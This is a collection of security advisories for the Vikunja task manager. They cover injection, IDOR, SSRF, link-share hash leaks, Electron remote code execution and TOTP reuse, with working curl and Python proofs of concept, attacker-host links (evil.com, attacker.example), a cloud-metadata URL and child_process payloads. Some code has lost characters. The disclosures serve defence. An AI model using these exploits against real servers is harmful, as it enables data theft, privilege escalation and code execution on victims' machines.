The overdue notification email HTML contains: html <li> <a href="https://evil.com">test</a> <a href="http://vikunja.example/tasks/5">Click to verify your account</a> (Shared), since one day </li> <li> <a href="http://vikunja.example/tasks/6"> <img src="https://evil.com/track.png?user=bob"> </a> (Shared), since one day </li>

The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.

Impact

An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.

Recommended Fix

Escape Markdown special characters in task titles before embedding them in Markdown content:

go func escapeMarkdown(s string) string { replacer := strings.NewReplacer( "[", "\\[", "]", "\\]", "(", "\\(", ")", "\\)", "!", "\\!", "", "\\", "", "\\", "", "\\", "#", "\\#", ) return replacer.Replace(s) }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
4.1
CRLF Injection, SQL Injection
AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Summary

The CalDAV output generator builds iCalendar VTODO entries via raw string concatenation without applying RFC 5545 TEXT value escaping. User-controlled task titles containing CRLF characters break the iCalendar property boundary, allowing injection of arbitrary iCalendar properties such as ATTACH, VALARM, or ORGANIZER.

Details

The ParseTodos function at pkg/caldav/caldav.go:146 concatenates the task summary directly into the iCalendar output:

go SUMMARY: + t.Summary + getCaldavColor(t.Color)

RFC 5545 Section 3.3.11 requires TEXT property values to escape newlines as \n, semicolons as \;, commas as \,, and backslashes as \\. None of these escaping rules are applied to Summary, Categories, UID, project name, or alarm Description fields.

Go's JSON decoder preserves literal CR/LF bytes in string values, so task titles created via the REST API retain CRLF characters. When these tasks are served via CalDAV, the newlines break the SUMMARY property and the subsequent text is parsed by CalDAV clients as independent iCalendar properties.

Proof of Concept

Tested on Vikunja v2.2.2.

python import requests from requests.auth import HTTPBasicAuth

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "CalDAV Test"}).json()

create task with CRLF injection in title task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": "Meeting\r\nATTACH:https://evil.com/malware.exe\r\nX-INJECTED:pwned" }).json()

set UID (normally done by CalDAV sync; here via sqlite for PoC) sqlite3 vikunja.db "UPDATE tasks SET uid='inject-test-001' WHERE id={task['id']};" TASKUID = "inject-test-001"

fetch via CalDAV caldavtoken = requests.put(f"{API}/user/settings/token/caldav", headers=h).json()["token"] r = requests.get(f"{TARGET}/dav/projects/{proj['id']}/{TASKUID}.ics", auth=HTTPBasicAuth("alice", caldavtoken)) print(r.text)

Output: BEGIN:VCALENDAR VERSION:2.0 BEGIN:VTODO UID:inject-test-001 DTSTAMP:20260327T130452Z SUMMARY:Meeting ATTACH:https://evil.com/malware.exe X-INJECTED:pwned CREATED:20260327T130452Z LAST-MODIFIED:20260327T130452Z END:VTODO END:VCALENDAR

The ATTACH and X-INJECTED lines appear as separate, valid iCalendar properties. CalDAV clients will parse these as legitimate properties.

Impact

An authenticated user with write access to a shared project can create tasks with CRLF-injected titles via the REST API. When other users sync via CalDAV, the injected properties take effect in their calendar clients. This enables: - Injecting malicious attachment URLs (ATTACH) that clients may auto-download or display - Creating fake alarm notifications (VALARM) for social engineering - Spoofing organizer identity (ORGANIZER)

Recommended Fix

Apply RFC 5545 TEXT value escaping to all user-controlled fields:

go func escapeICal(s string) string { s = strings.ReplaceAll(s, "\\", "\\\\") s = strings.ReplaceAll(s, ";", "\\;") s = strings.ReplaceAll(s, ",", "\\,") s = strings.ReplaceAll(s, "\n", "\\n") s = strings.ReplaceAll(s, "\r", "") return s }

Apply escapeICal() to t.Summary, config.Name, t.Categories items, a.Description, t.UID, and r.UID.

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/createfromstructure.go:406 passes the attacker-controlled File.Size from the JSON:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

go if realsize > config.GetMaxFileSizeInMBytes()uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default maxfilesize: 20MB.

python import zipfile, io, json, requests

TARGET = "http://localhost:3456" token = requests.post(f"{TARGET}/api/v1/login", json={"username": "user1", "password": "User1pass!"}).json()["token"] h = {"Authorization": f"Bearer {token}"}

Craft zip with forged Size=0 in JSON but 25MB actual content largecontent = b"A" (25 1024 1024) # 25MB data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{ "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"}, "created": "2026-01-01T00:00:00Z"}]}]}]

zipbuf = io.BytesIO() with zipfile.ZipFile(zipbuf, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr("VERSION", "2.2.2") zf.writestr("data.json", json.dumps(data)) zf.writestr("large.bin", largecontent)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate", headers=h, files={"import": ("export.zip", zipbuf.getvalue(), "application/zip")})

Output: HTTP 200: {"message": "Everything was migrated successfully."} 25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

go err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/taskattachment.go in the ReadOne method:

go // pkg/models/taskattachment.go:110-120 func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } } // ... }

The permission check in pkg/models/taskattachmentpermissions.go validates access to the URL task, not the attachment's actual task:

go // pkg/models/taskattachmentpermissions.go:25-28 func (ta TaskAttachment) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task return t.CanRead(s, a) }

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"): go // pkg/models/taskattachment.go:41-42 ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment" TaskID int64 xorm:"bigint not null" json:"taskid" param:"task"

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/taskattachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND taskid = ? validation:

go // pkg/models/taskcomments.go:196-205 (the fix) func getTaskCommentSimple(s xorm.Session, tc TaskComment) error { query := s.Where("id = ?", tc.ID).NoAutoCondition() if tc.TaskID != 0 { query = query.And("taskid = ?", tc.TaskID) } // ... }

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

bash Attacker creates a project curl -s -X PUT 'http://localhost:3456/api/v1/projects' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker project"}' | jq '.id' Returns: 10

Attacker creates a task in their project curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker task"}' | jq '.id' Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

bash curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \ -H 'Authorization: Bearer <victimtoken>' \ -F 'files=@secret-document.pdf' Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

bash Attacker accesses victim's attachment (id=5) via their own task (id=50) curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' \ -o stolen-file.pdf Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

bash curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments. - Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users. - Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs. - Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add taskid validation to ReadOne, mirroring the fix already applied to task comments:

go // pkg/models/taskattachment.go func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { query := s.Where("id = ?", ta.ID) if ta.TaskID != 0 { query = query.And("taskid = ?", ta.TaskID) } exists, err := query.Get(ta) if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } }

// ... rest unchanged }

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
EPSS
0.03%
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Summary

The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.

Details

When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:

Claim extraction (pkg/modules/auth/openid/openid.go:70-78): go type claims struct { Email string json:"email" Name string json:"name" PreferredUsername string json:"preferredusername" Nickname string json:"nickname" VikunjaGroups []map[string]interface{} json:"vikunjagroups" Picture string json:"picture" // ... }

Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352): go // Try sync avatar if available err = syncUserAvatarFromOpenID(s, u, cl.Picture) if err != nil { log.Errorf("Error syncing avatar for user %s: %v", u.Username, err) }

Vulnerable download (pkg/utils/avatar.go:94-115): go func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

resp, err := (&http.Client{}).Do(req) // No SSRF protection // ... return io.ReadAll(resp.Body) // No size limit }

In contrast, the webhook system correctly applies SSRF protection (pkg/models/webhooks.go:306-310): go if !config.WebhooksAllowNonRoutableIPs.GetBool() { guardian := ssrf.New(ssrf.WithAnyPort()) transport.DialContext = (&net.Dialer{ Control: guardian.Safe, }).DialContext }

The avatar download path has none of this protection. There is no URL scheme validation, no IP address filtering, and no response body size limit.

PoC

Prerequisites: A Vikunja instance with OpenID Connect configured (e.g., Keycloak, Authentik). Attacker has an account on the OIDC provider.

Step 1: Set up a listener to observe incoming requests: bash On attacker-controlled server or internal service nc -lvp 8888

Step 2: In the OIDC provider (e.g., Keycloak admin), update the attacker's user profile picture URL to an internal address: http://169.254.169.254/latest/meta-data/iam/security-credentials/ Or to probe internal services: http://internal-service:8888/admin

Step 3: Log in to Vikunja via the OIDC provider. After the callback completes, the Vikunja server will make a GET request from its own network context to the URL set in the picture claim.

Step 4: Observe the request arriving at the internal endpoint or listener. The request originates from the Vikunja server's IP, bypassing any network-level access controls that allow Vikunja server traffic.

Cloud metadata example (AWS): Set picture URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Vikunja server makes GET to this URL from its own network context The response is read into memory (io.ReadAll) before image.Decode fails The HTTP request itself reaches the metadata service

Impact

- Cloud metadata access: Attacker can reach cloud instance metadata services (AWS IMDSv1 at 169.254.169.254, GCP, Azure equivalents) from the Vikunja server's network position, potentially leaking IAM credentials, instance identity tokens, and configuration data. - Internal network reconnaissance: Port scanning and service discovery of internal hosts reachable from the Vikunja server by observing response timing and error messages. - Internal service interaction: Any internal service that acts on GET requests (cache purges, status endpoints, admin panels) can be triggered. - Memory pressure: The io.ReadAll call with no size limit means pointing the URL at a large resource could cause memory exhaustion on the Vikunja server, though the 3-second timeout partially mitigates this. - Repeated exploitation: The SSRF triggers on every OIDC login, allowing the attacker to iterate through different internal URLs by updating their OIDC profile between logins.

Recommended Fix

Apply the same SSRF protection used in webhooks to DownloadImage, and add a response body size limit:

go // pkg/utils/avatar.go import ( "net" "code.dny.dev/ssrf" )

func DownloadImage(url string) ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), 3time.Second) defer cancel()

req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil) if err != nil { return nil, fmt.Errorf("failed to create HTTP request: %w", err) }

// SSRF protection: block requests to non-globally-routable IPs guardian := ssrf.New(ssrf.WithAnyPort()) client := &http.Client{ Transport: &http.Transport{ DialContext: (&net.Dialer{ Control: guardian.Safe, }).DialContext, }, }

resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf("failed to download image: %w", err) } defer resp.Body.Close()

if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("failed to download image, status code: %d", resp.StatusCode) }

// Limit response body to 10MB to prevent memory exhaustion const maxAvatarSize = 10 1024 1024 return io.ReadAll(io.LimitReader(resp.Body, maxAvatarSize)) }

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }

ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }

The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!

Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share

Impact

- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }

project := &Project{ID: share.ProjectID} // ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The DELETE /api/v1/projects/:project/shares/:share endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID.

Details

The permission check in canDoLinkShare (pkg/models/linksharingpermissions.go:53-70) validates admin access on the project from the :project URL parameter. However, the Delete method at pkg/models/linksharing.go:305 queries only WHERE id = ? using the share ID, without verifying it belongs to the URL-specified project:

go func (share LinkSharing) Delete(s xorm.Session, web.Auth) (err error) { , err = s.Where("id = ?", share.ID).Delete(share) return }

This is the same vulnerability class as GHSA-jfmm-mjcp-8wq2 (task attachment IDOR) and the fixed GHSA-mr3j-p26x-72x4 (task comment IDOR).

Additionally, ReadOne at line 203 has the same pattern (WHERE id = ? only), though it is not currently exploitable because CanRead fails first due to an unrelated issue with the hash parameter binding.

Impact

An authenticated user with admin access to any project can: - Delete link shares belonging to any other project in the system - Disrupt collaboration by removing shared access links - Link share IDs are sequential integers, making enumeration trivial

Reproduction

1. User A creates Project A and a link share on it (share ID = X) 2. User B creates Project B (gaining admin access) 3. User B calls DELETE /api/v1/projects/{projectBid}/shares/{X} 4. The permission check passes (User B is admin on Project B) 5. The delete executes WHERE id = X — deleting User A's link share

Recommended Fix

Change Delete at pkg/models/linksharing.go:305 to:

go , err = s.Where("id = ? AND projectid = ?", share.ID, share.ProjectID).Delete(share)

Also fix ReadOne at line 203 as defense in depth.

1 / 2
Source: GitHub
First published (updated )
Severity
6.4
EPSS
0.04%
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper passes URLs from window.open() calls directly to shell.openExternal() without any validation or protocol allowlisting. An attacker who can place a link with target="blank" (or that otherwise triggers window.open) in user-generated content can cause the victim's operating system to open arbitrary URI schemes, invoking local applications, opening local files, or triggering custom protocol handlers. Version 2.2.0 patches the issue.

First published (updated )
Severity
6.5
EPSS
0.38%
Code Injection, XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables nodeIntegration in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.

Root cause

Two misconfigurations combine to create this vulnerability:

1. nodeIntegration: true is set in BrowserWindow web preferences (desktop/main.js:14-16), giving any page loaded in the renderer full access to Node.js APIs (require, childprocess, fs, etc.).

2. No will-navigate or will-redirect handler is registered on the webContents. The existing setWindowOpenHandler (desktop/main.js:19-23) only intercepts window.open() calls (new-window requests). It does not intercept same-window navigations triggered by: - <a href="https://..."> links (without target="blank") - window.location assignments - HTTP redirects - <meta http-equiv="refresh"> tags

Attack scenario

1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: <a href="https://evil.example/exploit">Click here for the updated design spec</a> 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: frontend/src/views/project/ProjectInfo.vue uses v-html with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no will-navigate handler exists, the BrowserWindow navigates to https://evil.example/exploit in the same renderer process. 6. The attacker's page now executes in a context with nodeIntegration: true and runs: require('childprocess').exec('id > /tmp/pwned'); 7. Arbitrary commands execute as the victim's OS user.

Impact

Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.

Proof of concept

1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: <a href="https://attacker.example/poc.html">Meeting notes</a> 3. Host poc.html with: <script>require('childprocess').exec('calc.exe')</script> 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.

Credits

This vulnerability was found using GitHub Security Lab Taskflows.

First published (updated )
Severity
5.7
EPSS
0.03%
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Summary Any user that has enabled 2FA can have their TOTP reused during the standard 30 second validity window.

Details The below code is called when a user that has 2FA is authenticating to the application. Once they submit a valid username-password-totp combination, the user gets authenticated. If that same TOTP is used for the same user's account again within the validity window, it will allow the other session to authenticate successfully.

Source: <ins>pkg/user/totp.go:128</ins> go // ValidateTOTPPasscode validated totp codes of users. func ValidateTOTPPasscode(s xorm.Session, passcode TOTPPasscode) (t TOTP, err error) { t, err = GetTOTPForUser(s, passcode.User) if err != nil { return }

if !totp.Validate(passcode.Passcode, t.Secret) { return nil, ErrInvalidTOTPPasscode{Passcode: passcode.Passcode} }

return }

Section 6.5.1 within the Authentication section of the OWASP ASVS recommends multiple checks, some of which involving TOTPs:

Verify that lookup secrets, out-of-band authentication requests or codes, and time-based one-time passwords (TOTPs) are only successfully usable once.

The OWASP WSTG also references this as one of their checks to look for:

Can the OTPs be used more than once?

PoC

https://github.com/user-attachments/assets/19d3b4c3-c219-4f59-b57d-45c9f6a264c8

Impact Any user who uses 2FA could be impacted if their traffic is able to be captured, they're phished/social engineered, or other methods of attack. This disrupts one layer of the defense-in-depth model surrounding 2FA.

Remediation

Store a deny-list of TOTP codes for their validity windows and check submitted codes against it to ensure none are being reused. After their validity window has closed, the 2FA code can be removed from the list.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203